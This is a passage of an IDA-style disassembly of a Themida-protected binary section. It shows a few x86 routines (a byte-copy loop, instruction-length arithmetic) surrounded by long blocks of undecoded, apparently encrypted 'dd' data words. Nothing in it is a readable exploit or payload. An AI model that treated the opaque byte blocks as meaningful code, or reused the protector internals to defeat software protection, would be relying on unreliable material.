		jnz	loc_598BD5
		cmp	edi, 7Fh
		ja	loc_598BD5
		test	bl, 38h
		jnz	loc_598BD5
		cmp	byte ptr [ebp-7], 0
		jz	loc_598BCF
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_598BD2
; ---------------------------------------------------------------------------


loc_598BCF:				; CODE XREF: Themida_:00598BC0j
		push	1
		pop	eax


loc_598BD2:				; CODE XREF: Themida_:00598BCAj
		mov	[ebp-1], al


loc_598BD5:				; CODE XREF: Themida_:00598BA4j
					; Themida_:00598BADj ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_598BDB:				; CODE XREF: Themida_:00598A85j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_598C06
		dec	eax
		dec	eax
		jz	loc_598BFC
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_598C0E
; ---------------------------------------------------------------------------


loc_598BFC:				; CODE XREF: Themida_:00598BEBj
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_598C0B
; ---------------------------------------------------------------------------


loc_598C06:				; CODE XREF: Themida_:00598BE3j
		mov	al, [ebp-3]
		add	al, 4


loc_598C0B:				; CODE XREF: Themida_:00598C01j
		add	[ebp-1], al


loc_598C0E:				; CODE XREF: Themida_:00598BF7j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_598C36
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_598C21:				; CODE XREF: Themida_:00598C30j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_598C21


loc_598C36:				; CODE XREF: Themida_:00598C16j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
aLLJ		db '▀п▀юj',0
		db 55h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 8377D7F6h, 0E416A1BDh, 9750005h, 220DBD83h, 740005E4h
		dd 8B535019h, 3FCB8C0h,	85890000h, 5E42215h, 0A8EB9D8Dh
		dd 0D3FF05E6h, 0BD83585Bh, 5E4220Dh, 50177400h,	3FCB853h
		dd 85890000h, 5E42215h,	0A5DA9D8Dh, 0D3FF05E6h,	6A585Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 663E23C3h, 4A2CC281h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0B9C35646h, 75B95CB2h, 9599B80Eh, 5E8DAh
		dd 0ED8A0000h, 0E8BE330Fh, 6, 77796646h, 5AF58227h, 6840F5Bh
		dd 81000000h, 0D08471D3h, 8AC08B03h, 95BD83FDh,	105E429h
		dd 4B840Fh, 890F0000h, 7, 18C0Fh, 83FC0000h, 0E41C6DBDh
		dd 850F0005h, 31h, 10E9h, 852DCA00h, 0B8F80690h, 651B73D3h
		dd 0E5B6F62h, 65BD8386h, 5E422h, 3E840Fh, 8D0F0000h, 0
		dd 3870Fh, 0B70F0000h, 3B7E9D8h, 71BB0000h, 11153Dh, 0F000000h
		dd 885h, 28A0F00h, 0B6000000h, 6E95043h, 21000000h, 0E24CC36Dh
		dd 0C3815A1Fh, 258FDFD7h, 18637DAAh, 8BCCCD7Ah,	0FB224D44h
		dd 0BE10CD03h, 0BE792025h, 0E15AC839h, 0C2F3975Fh, 0FAFBCC6Ah
		dd 0BE66CC03h, 0E93DC893h, 46E4850Ah, 377B2984h, 4183C404h
		dd 81C931E9h, 0BE7E0E75h, 175A84Eh, 562FA9E4h, 0BE7AC893h
		dd 0A1974994h, 0D47F2142h, 0BD929B72h, 9E7AC839h, 37210BC7h
		dd 3F7EEC12h, 0A67EEC63h, 0FD7AC893h, 0B25B0B9Ah, 3E456995h
		dd 60CCFD9Dh, 0BE7ADBD1h, 99AD2E9Ch, 9CEF19ECh,	2F61B73Fh
		dd 56E33DB8h, 0AE93A465h, 0BE7F46EBh, 3F1CC872h, 0E420F9EBh
		dd 9750817h, 0EC2A989Dh, 0BE7AC5CFh, 0E7358393h, 91D18D80h
		dd 9D90C551h, 46F06A93h, 54BC762h, 0FAEA17C9h, 0BAF39014h
		dd 0E97AA203h, 0BE7ACB7Bh, 7D25E8C9h, 9A0641BBh, 9A3E4976h
		dd 0BE7ADD3Dh, 7D2D8F9Ch, 0AC938222h, 0FF7AC827h, 0B8CE9795h
		dd 9CB6F1DDh, 85AE4D4Dh, 268A29D3h, 0F27BC7F6h,	0BE1036B8h
		dd 0BE792018h, 0E05AC827h, 0CAF39650h, 0FAFBCCEDh, 0BE6DCCC0h
		dd 0E83CC872h, 8CED02FAh, 4D914810h, 0E87AA216h, 0BE7ACBCFh
		dd 7D24E893h, 9A0E4197h, 9A3E49E0h, 0BE7AD376h,	7D2C8E39h
		dd 54ADDB9Eh, 0F406388Bh, 3E1A18ACh, 1C6D7Bh, 0BB1B7761h
		dd 0BE7ACAE8h, 562CC818h, 0BE7AC83Ah, 0E0B996BCh, 0BA5EBCC7h
		dd 0BA5E8CA6h, 0BE7AC88Eh, 66B99E8Fh, 4B7E78CAh, 0AB8BFE4Eh
		dd 30527208h, 0B6F1DCAAh, 5628C824h, 0BE7AC824h, 0E4B992B3h
		dd 0BA5E9C40h, 0BA5E8C65h, 0BE7AC868h, 0F6B99A7Bh, 365468B2h
		dd 0B292EC0Ah, 327AC827h, 8EB0DCAAh, 659BB2B7h,	0B160DA9Dh
		dd 0BE7ACBFFh, 6EF1AE39h, 0F6F1AEC6h, 6AC43B2h,	0BE7AC826h
		dd 0BCF2C76Ah, 347AC8C9h, 0BB92593Ah, 0BE7AC872h, 31805FFBh
		dd 0BE7ACF74h, 5EAC904Eh, 0CB0ADEC9h, 0E4213519h, 44F09999h
		dd 352959BFh, 321C92ACh, 0EE7AA2E0h, 0BE7ACB74h, 7D22E84Eh
		dd 9A3E417Fh, 9A3E4997h, 0BE7AD3CDh, 7D2A88E4h,	3D2C325Eh
		dd 459AE1EFh, 7CFBAEFCh, 91CC1EBFh, 0BABB3E46h,	0BE814D9Ch
		dd 0BE10C8C9h, 0BE7920B4h, 0E65AC872h, 0FAF390FAh, 0FAFBCCB8h
		dd 0BE63CC6Ah, 0EE3AC827h, 4B8E3350h, 3F072365h, 518A163Fh
		dd 41A9175h, 0E36B0DE2h, 0D64348FDh, 0BF534D41h, 0BE10C827h
		dd 0BE7920C0h, 0E55AC8C9h, 0E2F39327h, 0FAFBCC56h, 0BE63CC1Dh
		dd 0ED39C89Ch, 0FFC8148Dh, 47E18C3Ah, 0D47BB118h, 0BD929AC9h
		dd 9E7AC8E4h, 37200B28h, 3F7EEC6Dh, 0A37EECD8h,	0FC7AC84Eh
		dd 8F820B75h, 2EB68FDEh, 14B84DEEh, 0A98A8C5Fh,	0BE854918h
		dd 0B1FAC839h, 0BE7A061Eh, 0E87AA24Eh, 0BE7ACBCFh, 7D24E893h
		dd 9A0E4197h, 9A3E49E0h, 0BE7AD176h, 7D2C8E39h,	20B76F3Dh
		dd 3BBDE636h, 0BB936D95h, 0BE7AC892h, 0BEE52130h, 0BE10C8E4h
		dd 0BE792020h, 0E45AC839h, 0EAF3925Fh, 0FAFBCC6Ah, 0BE6CCC03h
		dd 0EC38C893h, 3998AC0Ah, 574B0F64h, 0BE7AC805h, 57213068h
		dd 0BE7AC895h, 729687F6h, 61D34420h, 0BE10919Ch, 0BE79209Eh
		dd 0E15AC8E4h, 0C2F397B1h, 0FAFBCC1Dh, 0BE61CCB8h, 0E93DC84Eh
		dd 0F8AD07E4h, 0FDC45A3Fh, 0C7F9AE6Fh, 3A7537EFh, 0BE7AC845h
		dd 5628C853h, 0BE7AC89Fh, 0E4B9926Eh, 0BA5E9CAEh, 0BA5E8C12h
		dd 0BE7AC8DEh, 0D9B99AA6h, 0B109BB59h, 3BBD128Eh, 0BB936D2Eh
		dd 0BE7AC84Fh, 0BE7F4A28h, 0D9C1C893h, 0F63665C6h, 98ED7111h
		dd 3BF78C5Dh, 0BB936310h, 17FA7511h, 4641CDA7h,	0B14ACF53h
		dd 553D0142h, 0B7A4483Ch, 2BC74B1Dh, 0BF7F2C5Bh, 0BE254C36h
		dd 3F1CC89Ch, 3D2D6984h, 5A66A59Ah, 3B75C896h, 0BE7AC884h
		dd 562CC88Eh, 0BE7AC871h, 0E0B99619h, 0BA5EBC15h, 0BA5E8CCFh
		dd 0BE7AC830h, 5EB99ED5h, 3D27F60Ch, 5A58AD59h,	3A75C877h
		dd 0BE7AC87Eh, 562CC8F6h, 0BE7AC84Dh, 0E0B99607h, 0BA5EBC1Ah
		dd 0BA5E8C48h, 0BE7AC8FDh, 97B99E34h, 35C511A2h, 0BE9F2110h
		dd 0BE10C84Eh, 0BE792074h, 0E55AC893h, 0E2F3930Ah, 0FAFBCCC0h
		dd 0BE6CCC56h, 0ED39C839h, 14E22D5Fh, 3D213D1Fh, 5A535D9Ah
		dd 3B75C996h, 0BE7AC8ACh, 562FC88Eh, 0BE7AC871h, 0E3B99519h
		dd 0BA5EA415h, 0BA5E8CCFh, 0BE7AC832h, 8BB99DD6h, 0BE76214Ah
		dd 3D30C8E4h, 4945DB58h, 90B62DD3h, 0D4279360h,	0BD929F4Eh
		dd 9E7AC827h, 37250BCCh, 3F7EECB5h, 0A87EECA0h,	0F97AC872h
		dd 6B730B6Eh, 0BFF3C7EFh, 4B7AC84Eh, 74FBAEE4h,	0E6930061h
		dd 3F7AC8C9h, 8F7E1536h, 0BE109521h, 0BE79206Bh, 0E45AC89Ch
		dd 0EAF3928Dh, 0FAFBCC03h, 0BE67CCB7h, 0EC38C8C9h, 63705127h
		dd 73DD693Bh, 0B154B0A7h, 0BE7AC81Eh, 67CDC74Eh, 0EB7AA2E8h
		dd 0BE7ACB7Bh, 7D27E8C9h, 9A1641B9h, 9A3E4976h,	0BE7AD03Dh
		dd 7D2F8D9Ch, 0B239A430h, 33A3425Ch, 57DF1F2Eh,	48F745CCh
		dd 67F214Eh, 0C540946Fh, 0A15B4D0Ah, 7151CD78h,	5D98ED71h
		dd 103BF78Ch, 11BB9363h, 0A717FA75h, 534641CDh,	42B14ACFh
		dd 83553D01h, 0A4F305E9h, 0A5B2BD83h, 740005E9h, 308D8D0Dh
		dd 0B805E44Ch, 1, 6A40E1FFh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 0FC06C355h,	6CE9C0F3h
		dd 606B9F14h, 0EE9h, 635D000h, 2A0A740Bh, 61CE16D4h, 81997295h
		dd 3497B3C7h, 0E2816113h, 39381B67h, 0DCB9DB81h, 0E88352F6h
		dd 0B966602Dh, 8B61F5B6h, 0AE860C0h, 0C1000000h, 2AD3211Fh
		dd 2A074A83h, 11E8AFh, 0D5B90000h, 0FF861363h, 8C7EEA76h
		dd 0BD402976h, 5B37C50Bh, 28A0F58h, 8B000000h, 0BD8361F3h
		dd 5E416A1h, 83097500h,	0E4220DBDh, 19740005h, 0C08B5350h
		dd 3FCB8h, 55858900h, 8D05E41Ah, 0E6A9529Dh, 5BD3FF05h
		dd 0DBD8358h, 5E422h, 53501774h, 3FCB8h, 55858900h, 8D05E41Ah
		dd 0E6A5F39Dh, 5BD3FF05h, 0F605658h, 81h, 0C2BF0F00h, 80605B61h
		dd 61F555C1h, 11890Fh, 0CE90000h, 0C0000000h, 0B0CDF93Dh
		dd 6CDCCDEDh, 0F5817EF9h, 14E8C08Bh, 0D7000000h, 13053C6h
		dd 0EE524D4Ah, 64BA9230h, 79A2FF52h, 0F4C7A6Bh,	0E8Dh
		dd 9E900h, 2B4B0000h, 6883D037h, 5994B317h, 0A0E98060h
		dd 8CC18161h, 0E9000064h, 0Ch, 9C52DBE4h, 0BC9634E0h, 9D67C918h
		dd 8E9FF2Bh, 0F5000000h, 7F17D451h, 8BF585C0h, 0E8603904h
		dd 14h,	0ADCB777Dh, 0D37DB32Eh,	4332AC66h, 0CD26CBBAh
		dd 1DA3F827h, 0D5B2B866h, 53C08158h, 610AFF9Dh,	0A3E7E881h
		dd 0D9B64F5Fh, 0F47AF081h, 0F604196h, 688h, 880F00h, 61000000h
		dd 0E780E881h, 8D0F6C39h, 5, 9055E6BEh,	3904893Eh, 0BF0FD08Bh
		dd 4EF83D7h, 81F7B70Fh,	0FF9C34FFh, 90850FFFh, 8DFFFFFFh
		dd 0E9ADD88Dh, 29958905h, 8905E417h, 0E410958Dh, 85C7F805h
		dd 5E42C65h, 6760h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 6BC35646h, 95012403h,	5E42475h, 30FD85C7h
		dd 5E4h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h,	44810424h
		dd 1B0424h, 55450000h, 782D4FC3h, 0C187F9D7h, 11B50129h
		dd 8B05E427h, 0E4209D95h, 0EDB5FF05h, 6A05E431h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0C50C355h, 18A97FF6h, 0DBB2AD2Ch, 2A6195FFh,	6A05E4h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 49AD3CC3h, 2B60C051h, 0E41B358Dh, 68B0F05h, 8B000000h
		dd 0E402B1BDh, 6A6105h,	10C195FFh, 0C08B05E4h, 0C9D92CEBh
		dd 70903F96h, 0C6D9A02Fh, 58729AFDh, 0C1C1F46h,	0C4705FE2h
		dd 477F74FEh, 0C97CC52Eh, 0BA73C413h, 73B021Bh,	3F83F5B5h
		dd 8EBE367h, 525BE2E4h,	77E7339Ch, 0D5EE9h, 0AFE86800h
		dd 0A3E905E9h, 68FFFACFh, 5E9B10Bh, 0FACF99E9h,	0B26868FFh
		dd 8FE905E9h, 68FFFACFh, 5E9B38Eh, 0FACF85E9h, 0B4F968FFh
		dd 7BE905E9h, 68FFFACFh, 5E9B780h, 0FACF71E9h, 0B92968FFh
		dd 67E905E9h, 68FFFACFh, 5E9BA20h, 0FACF5DE9h, 255C1FFFh
		dd 77F078A2h, 880FCA50h, 205B1D05h, 79F065BDh, 0A3F6C156h
		dd 0A10B732h, 50CACD4Ah, 0A47E619Ah, 6A11B437h,	9468CA3Bh
		dd 0A6C454EEh, 62D6CCE9h, 69EE28E5h, 0E621037Ch, 50834F04h
		dd 0E5B2B08Dh, 0C1324F04h, 1DD1C98Ch, 99A329E2h, 41345BD2h
		dd 6BB71694h, 0C2A56EE9h, 0E8FD1CFDh, 1FB78354h, 0AFFA45BBh
		dd 5996034Ch, 49BA9A1Dh, 6E31E28Ch, 0B9363304h,	155DB930h
		dd 0D3F952C0h, 0AB24A8F2h, 8692211h, 54E9C026h,	10D9D9A1h
		dd 33F9A733h, 9290ED4Ch, 1254E9B7h, 0B7F072B3h,	8B4C54E9h
		dd 575F7C56h, 7BFC8E5h,	3F134Ah, 0D8BA0000h, 0D52AED6Fh
		dd 54E90860h, 0DFF502DCh, 99595A4Bh, 0A7B221BDh, 3E73ABD8h
		dd 90B3B5AAh, 9C5154E9h, 0BA0E894Ch, 0E6045489h, 0CAE7F572h
		dd 6178B0F0h, 0F3509999h, 6433F973h, 0CDh, 50C077B3h, 0CB2921B3h
		dd 99336444h, 557D283h,	16F970E7h, 3CF18A3Ch, 0D1BA6121h
		dd 73EA61FBh, 655E936Ch, 31A64F05h, 0A7FBD7B6h,	7E621D24h
		dd 958D10FDh, 5815A726h, 0CBAA6DEFh, 57E78FAh, 1F1AF44Fh
		dd 1106A17Fh, 0FC430C41h, 0E918B283h, 0BE211254h, 0CD9012CBh
		dd 1913116Eh, 5E9154E9h, 362D12F5h, 425ACFC2h, 44B932B8h
		dd 59D09981h, 7CF129FCh, 9B3C39DCh, 0D2015BDEh,	7099F3F8h
		dd 0D382983Fh, 9B251754h, 3E9A2220h, 0AF677h, 0A5DC9F00h
		dd 0F770F822h, 88F4AD0h, 0A0DB9D85h, 0F970E53Dh, 237641D6h
		dd 8A9037B2h, 0D04A4DCAh, 24FEE11Ah, 0EA9134B7h, 94E84ABBh
		dd 264454EEh, 62C67769h, 9D0075F2h, 3057D685h, 0ED6FD8A7h
		dd 860D52Ah, 1B0754E9h,	7571DA5Dh, 37CC382h, 54E90821h
		dd 0E6F275E3h, 64BE716Dh, 3E9A77F0h, 4BCE8B97h,	2809C271h
		dd 54E90846h, 30F93981h, 33F8EB53h, 0B84366Ch, 0F1174Eh
		dd 6AB00000h, 0E65D6FE8h, 0C077AC2Dh, 64E97349h, 0D65070F4h
		dd 93EF2354h, 0DA09A326h, 76CC26E9h, 3464C8BAh,	0BDA236E3h
		dd 4F05178Ch, 0EB61C388h, 82983F70h, 5F0652D5h,	0EA587F8h
		dd 0D4074F05h, 5CC7B07Bh, 9F4C421Ah, 24EBDCC0h,	0E9A26ADBh
		dd 4609CA54h, 4F1D9E5Ch, 48BD3CBDh, 9DBAB885h, 0F93A54E9h
		dd 413E891Ch, 17231CC3h, 7D5AD044h, 2E74DBBAh, 0A99A2EA9h
		dd 0B433A2ECh, 92D3B211h, 4F070390h, 0F4AD72BCh, 0BB27EB88h
		dd 0C2739F78h, 0A86FE86Eh, 751D557h, 0B3E4574Fh, 20706C0Ah
		dd 64CD8F22h, 9D3h, 5D40FB7Ch, 0F39215C5h, 0A027A217h
		dd 587FF87Ah, 0F19413C2h, 4D009924h, 0E757B3D2h, 3FBD6568h
		dd 4A0119BCh, 5635CCD3h, 0EE970B69h, 44136954h,	444BC677h
		dd 0BBB98665h, 0E24F04E5h, 4E59F9Dh, 0A0DA1D4Fh, 0F378A26Fh
		dd 77805578h, 0E97349C0h, 91E4EB62h, 9EE7A624h,	54E90F2Dh
		dd 89EBD489h, 0EB54E90Fh, 62E5F728h, 54E90EFDh,	458CF456h
		dd 33F8F5FEh, 6A06Fh, 84F95800h, 54E906A6h, 5378D506h
		dd 2AED6FD8h, 0E91134D5h, 0EDFF3054h, 0E90FF47Ah, 878B5F54h
		dd 0F8F6F54Eh, 6776633h, 0CCB10000h, 42E377E6h,	51FFF7Dh
		dd 50BA7D4Fh, 0B31CDDBFh, 0CA8D0FF8h, 0E974CCF5h, 0A067A854h
		dd 1A61FF7Ah, 913EAC1Eh, 0D67444B9h, 0DBB4E966h, 0BCAD0F1h
		dd 7CE2C38Ch, 0D754E92Ah, 7DC60F73h, 633F911h, 90062E2Ch
		dd 0C790AE53h, 62888h, 5E48CF00h, 9679FBB4h, 0E91010A9h
		dd 0E5B36454h, 0FE397D9Ah, 0D27936E0h, 1ED5E760h, 0F8156A2Dh
		dd 74DEDA11h, 1EAA2DAAh, 10EC4EB7h, 8748DB1Ah, 0A4B6152h
		dd 10D85AABh, 0E354DB1Ah, 88A4336h, 3E07E645h, 0DB1A113Ch
		dd 8DA257E8h, 8B21115h,	0D7250AC7h, 35E0FEE5h, 500703C2h
		dd 0EF6CB6D9h, 0DD194F6Ch, 7ADE9830h, 876BBh, 255C1F00h
		dd 77F078A2h, 880FCA50h, 205B1D05h, 79F065BDh, 0A3F6C156h
		dd 0A10B732h, 50CACD4Ah, 0A47E619Ah, 6A11B437h,	9868CA3Bh
		dd 0A6C454EEh, 66D6CCE9h, 0B760D3E9h, 5F6DEC6Bh, 5037B562h
		dd 0EE94186Fh, 2CB36454h, 0EE947DD3h, 0BEE8AE54h, 0AC1FBE39h
		dd 329174FEh, 783816D8h, 0F36078F3h, 75FBFFA7h,	0FC7745C4h
		dd 8BE1CE8Bh, 0E954EE0Eh, 0C3889226h, 86F84548h, 3554EE0Eh
		dd 20ED6CEDh, 0D0F770E6h, 0BE0A8D4Ah, 0EDFDA789h, 41412B54h
		dd 0E94BB41Bh, 4B491BBDh, 14C3CF88h, 7793F295h,	0BF3F4BC6h
		dd 0DEBBA800h, 348407B4h, 1BCE2D33h, 0EA65D749h, 118A4CDEh
		dd 545C2EBBh, 367AC09Ch, 26E960D7h, 15FE79FCh, 13BF372h
		dd 771A0000h, 0E97349C0h, 6FD0E863h, 4F04E60Dh,	8AE8D5B4h
		dd 0EA4F04E6h, 0B5226C29h, 83375332h, 2296B404h, 0CC2670A5h
		dd 95D91E2Ah, 0A21FBD16h, 0BA9077F5h, 0D4C4D27Eh, 25EE6AA3h
		dd 3582014Dh, 0B42FA1FDh, 83622F24h, 0EF82CBA2h, 0E7C43754h
		dd 1C399BBBh, 50258C4Ch, 0F9000007h, 42D8FF76h,	948E1196h
		dd 0E723A225h, 4FDBFA75h, 9B8C138Eh, 51C88D1Ch,	0E760D44Eh
		dd 3BBC3AE0h, 4EC98E94h, 0ECD1B04Fh, 54EE998Eh,	77C398EEh
		dd 0E97349C0h, 0C02AED64h, 0C050160Eh, 13B21FC0h, 68E7564Ch
		dd 0EC36E350h, 30EAED6Eh, 2DA429BBh, 17F6D5F8h,	5874C2Eh
		dd 0AA67A84Fh, 9372ED60h, 7349C077h, 42201DC0h,	0A24F0587h
		dd 0AD34A471h, 0EF61C375h, 77E70374h, 42F31FF8h, 5A1A00C7h
		dd 900BC1DDh, 0A4E0B38h, 6E72B7Fh, 1D75D857h, 0CEE6478h
		dd 0FB8A4714h, 150C3C07h, 7AD2Eh, 2CE80000h, 7Fh, 49C0777Bh
		dd 0F66ACC73h, 2E84F04h, 0C178FF1Eh, 311341Eh, 88662BB3h
		dd 0F462B8CFh, 81E65973h, 0FC4F0523h, 3E643E62h, 0BAA903BCh
		dd 8407B5D1h, 0F678A201h, 1BF46F7Dh, 46C177B2h,	0B38C5372h
		dd 4F04E5B1h, 9D5C4763h, 4A74ADFBh, 14C2CC89h, 0DEAC3993h
		dd 259288D2h, 2FADE9A2h, 5CD429ACh, 914F05E5h, 14166FCEh
		dd 904F05E5h, 0C280F25Fh, 2B2E15CBh, 0FFFFFE87h, 36F2C62h
		dd 777B0000h, 0CC7349C0h, 4F04E67Ah, 0F01111F9h, 0FEDDC07Bh
		dd 0E644261Fh, 6FA04F04h, 78F378A2h, 4ACD8D95h,	2214CB81h
		dd 0E24F04E6h, 0EBE6F275h, 90EDB032h, 54EE939Dh, 0EF91D619h
		dd 441C392Eh, 5E52D94h,	0CD8E0000h, 63D73352h, 0B039E1E4h
		dd 0CA8C9639h, 61D44E51h, 8736E7E6h, 0A124A312h, 5B7AF579h
		dd 0F8E09CFh, 0A225A413h, 0F97B441Bh, 7B54EE99h, 0E6CC560Dh
		dd 0DD7DA2EBh, 65E453A6h, 0BC3B6730h, 8D405A3Dh, 913B912h
		dd 50CACD44h, 0A57D609Bh, 1923B930h, 7D8FDD54h,	0D26840FBh
		dd 1FD4E463h, 7CFE5203h, 663A8EC3h, 0C5549C84h,	6CF2341Eh
		dd 4B5EEC54h, 3DDCC48Eh, 0AC9E01B8h, 2E154DD7h,	2A800h
		dd 62D85700h, 12F1D0E8h, 4E64F2Dh, 0A16AAD4Fh, 0F3E4CC40h
		dd 0FF23874Dh, 3CB4D36h, 287BE2Dh, 482F0000h
		dd 0F3DBF577h, 2AA5174Dh, 0F639A59Eh, 62D8BC1Dh, 549712F1h
		dd 0B72781D5h, 3392C738h, 53A70F2h, 4E0B174Fh, 0BE39BFCBh
		dd 5266A9D5h, 0D153AC73h, 534F0539h, 56CE37E0h,	424DF439h
		dd 0BCBE8792h, 384DF38Fh, 143682F7h, 0CE9226A1h, 0DDEC246Ch
		dd 0ADA99CF6h, 7B4DE01Bh, 5CC349Eh, 2D02DF3Eh, 220AFh
		dd 0E6CCEE00h, 6103FCBDh, 0E0B1E32Ah, 8197E02Ah, 2A905B34h
		dd 0A680FDA0h, 0D54F057Bh, 0C49108CDh, 0FC6379BAh, 4DF47B68h
		dd 79236F3Bh, 652EA921h, 3353211h, 1E75B2Dh, 0D8F20000h
		dd 0D825E862h, 4F04E662h, 3B5D1109h, 0D01C0DA6h, 8EDA0F1Dh
		dd 0AFFEF855h, 7444C373h, 0E1A486FFh, 0CF004F05h, 519CE9Ah
		dd 5C4DF4E1h, 3AD2D75h,	3EE1D255h, 0F2E863C1h, 450EC14Dh
		dd 73D01919h, 0E42D02CFh, 19Dh,	50C07733h, 0FD7C8ACAh
		dd 5765564Dh, 22A5140Eh, 2FAE2D69h, 0E260DDA8h,	94465C23h
		dd 8892411Bh, 0A68F48C3h, 54E91261h, 0C1065285h, 54E8E65Fh
		dd 0D91010EAh, 33F8CD6Ah, 3893h, 0E6CC3A00h, 74C47C7Eh
		dd 0B306D336h, 609B51FAh, 0E7A69B48h, 0E9AAA59Eh, 8ADE1154h
		dd 0B719DFCBh, 3E358702h, 3D2300CDh, 8854E967h,	3C07CE32h
		dd 0AD33F94Ah, 0D4h, 49C077E8h,	0ED64E973h, 168E4DDFh
		dd 0CC96C634h, 5D2B67F0h, 9B2F8F0Eh, 9EF45B8Ch,	4AE8A372h
		dd 0A028E571h, 0C773DD9Ah, 35B22640h, 547BACA7h, 51B56EBh
		dd 7995E4Fh, 0B1D0418Ah, 16F92ABAh, 0E6AD603Ch,	9972F6D5h
		dd 78FAB306h, 2E1EA895h, 45AD54ECh, 0A67F97E9h,	72F90532h
		dd 0A3941EFBh, 42201DFCh, 0A254EBCBh, 5B5D2571h, 69BBEAE3h
		dd 0CC1D9ACh, 0A528F295h, 0F30D8D2Ah, 9A3E1C3Bh, 35EDBh
		dd 0CD44F700h, 1F9850CAh, 0B037A278h, 0C843F52Dh, 61985DC5h
		dd 9B0EA97Eh, 0E2385FDAh, 48D2F572h, 9C860982h,	82395CDFh
		dd 9D80E2C3h, 8EFC54EEh, 4BC677D1h, 8719DE44h, 10E15C5Bh
		dd 0E753AFEFh, 0A69B4860h, 0BC3BBBE7h, 0DE591E2Ch, 0C89D20EDh
		dd 7349C077h, 0E4EB62E9h, 0FD70AD85h, 902605Dh,	0B1624F05h
		dd 79FFDE65h, 81D2579Ch, 209D4F05h, 0DD82E3A2h,	8254E9B2h
		dd 0AF0F2DA8h, 2D26B22Dh, 0B2A03CE1h, 3F348403h, 0B26501CAh
		dd 9000B7D3h, 1193F951h, 6379AA05h, 218027F0h, 0A4FF42C9h
		dd 0DBB45D17h, 49C077F2h, 5CDF9C86h, 5E7AD70Ch,	98C0FCCh
		dd 9C43C1BEh, 0E8FC5EA3h, 7558654h, 1691445Eh, 0FFC49142h
		dd 54E8FC79h, 0C30A76D4h, 33F8E380h, 48E9h, 6FD82C00h
		dd 60D52AEDh, 754E908h,	8ADE591Bh, 6943FC70h, 0D04D89FAh
		dd 33D676ABh, 0FD3EB815h, 0CBF678EFh, 895154E9h, 7B7D389h
		dd 56033088h, 0F9AF1F64h, 0FE7AA033h, 0AE271860h, 0D20757CCh
		dd 0D5804D86h, 0CFh, 49C07700h,	5ED99C86h, 5C7CD90Ah, 0C2890FCEh
		dd 8CBF240Eh, 8B912B1Ch, 75F664CCh, 2592A800h, 2DC223A2h
		dd 694F057Ah, 0A2F972E2h, 502ADA6Fh, 984B619Ah,	0B75372A7h
		dd 92338900h, 73CC5B8h,	16C38E88h, 0A568EAA3h, 0E9942B58h
		dd 0C5C80B54h, 0C08705F2h, 0D01DCBFFh, 0A766A95Ah, 987FFA7Bh
		dd 174DD382h, 969EA9A0h, 942BE4D9h, 0F168ED35h,	58A568DBh
		dd 4F0727DAh, 0D23C995Ah, 0B9C7E463h, 8E22209Ah, 1B56BCAh
		dd 9D5E0000h, 33A76362h, 400911B4h, 9A5CC6C9h, 31A47E61h
		dd 0B70617B6h, 0D1F473E2h, 8B0A8549h, 3F5ED99Fh, 0D2F574E3h
		dd 290B742Bh, 8B54EE9Fh, 0C677A6FDh, 19DE444Bh,	0B298FF9Eh
		dd 79FC4496h, 0CD2094FEh, 0CCE5F25Fh, 0E612106Dh, 0A1924F04h
		dd 0CA4805F4h, 8413A0Bh, 7ABD54E9h, 877F96Eh, 0F3D254E9h
		dd 0C23B6A7h, 5332EC99h, 0E9931012h, 0EEAB6C54h, 0E75BCE4h
		dd 7F33F976h, 0BAh, 49C0779Eh, 0C464E973h, 9A39417h, 4EB21D6h
		dd 77F6654Fh, 0AD927150h, 4F04E9CFh, 0E521EA2Dh, 1A186576h
		dd 0FA4F04EAh, 76EDFF78h, 0FF7F8B4Ch, 86FB6840h, 4CCE8732h
		dd 407B489h, 0B46754E9h, 6BE9A611h, 0A9C85BA4h,	6BAC5ACFh
		dd 59FF7EA4h, 74490A7Ch, 4F07BBF6h, 0C3498576h,	27A615D4h
		dd 41E81F2h, 0A9BCCF51h, 0D612790Eh, 0CBE2C4E5h, 0C7952220h
		dd 0BE7Eh, 6DE45700h, 0BF38B06Ah, 0D0570218h, 68E355CDh
		dd 8138BD65h, 0FBAE091Eh, 42D8FF7Ah, 0A8721592h, 0FC26A922h
		dd 22D9FC7Fh, 0A0200263h, 0EE9C54EEh, 0D9C677B1h, 4E686E4h
		dd 0C035E64Fh, 179645DDh, 0C077E770h, 0DD9C8649h, 41DBF15Ah
		dd 2D8C138Ah, 0F4C447F5h, 6E27927Fh, 5DD429ECh,	254EE94h
		dd 7DD65118h, 102ABE71h, 9E7D205Bh, 0EE93C3A1h,	25EE2154h
		dd 58D39882h, 0EDB4DF00h, 9EE8ACA0h, 45C47392h,	9813D842h
		dd 16B83AC0h, 0E84ABBA6h, 44A160DCh, 0D90A5E93h, 0AE74D4E4h
		dd 0ED23862h, 0E087B431h, 0A82F6B24h, 0C774AE31h, 0C8D7444h
		dd 0D8000000h, 6373E6CCh, 0C98E6EF5h, 77DA730Ch, 0ED7F4DC4h
		dd 4FDDEF6Eh, 0A0BA0E89h, 319B32Ch, 6785D752h, 0DB617BF6h
		dd 30CA9E19h, 90AA3EB9h, 0B30D5FD8h, 5E08950h, 4, 8704E883h
		dd 248B2404h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
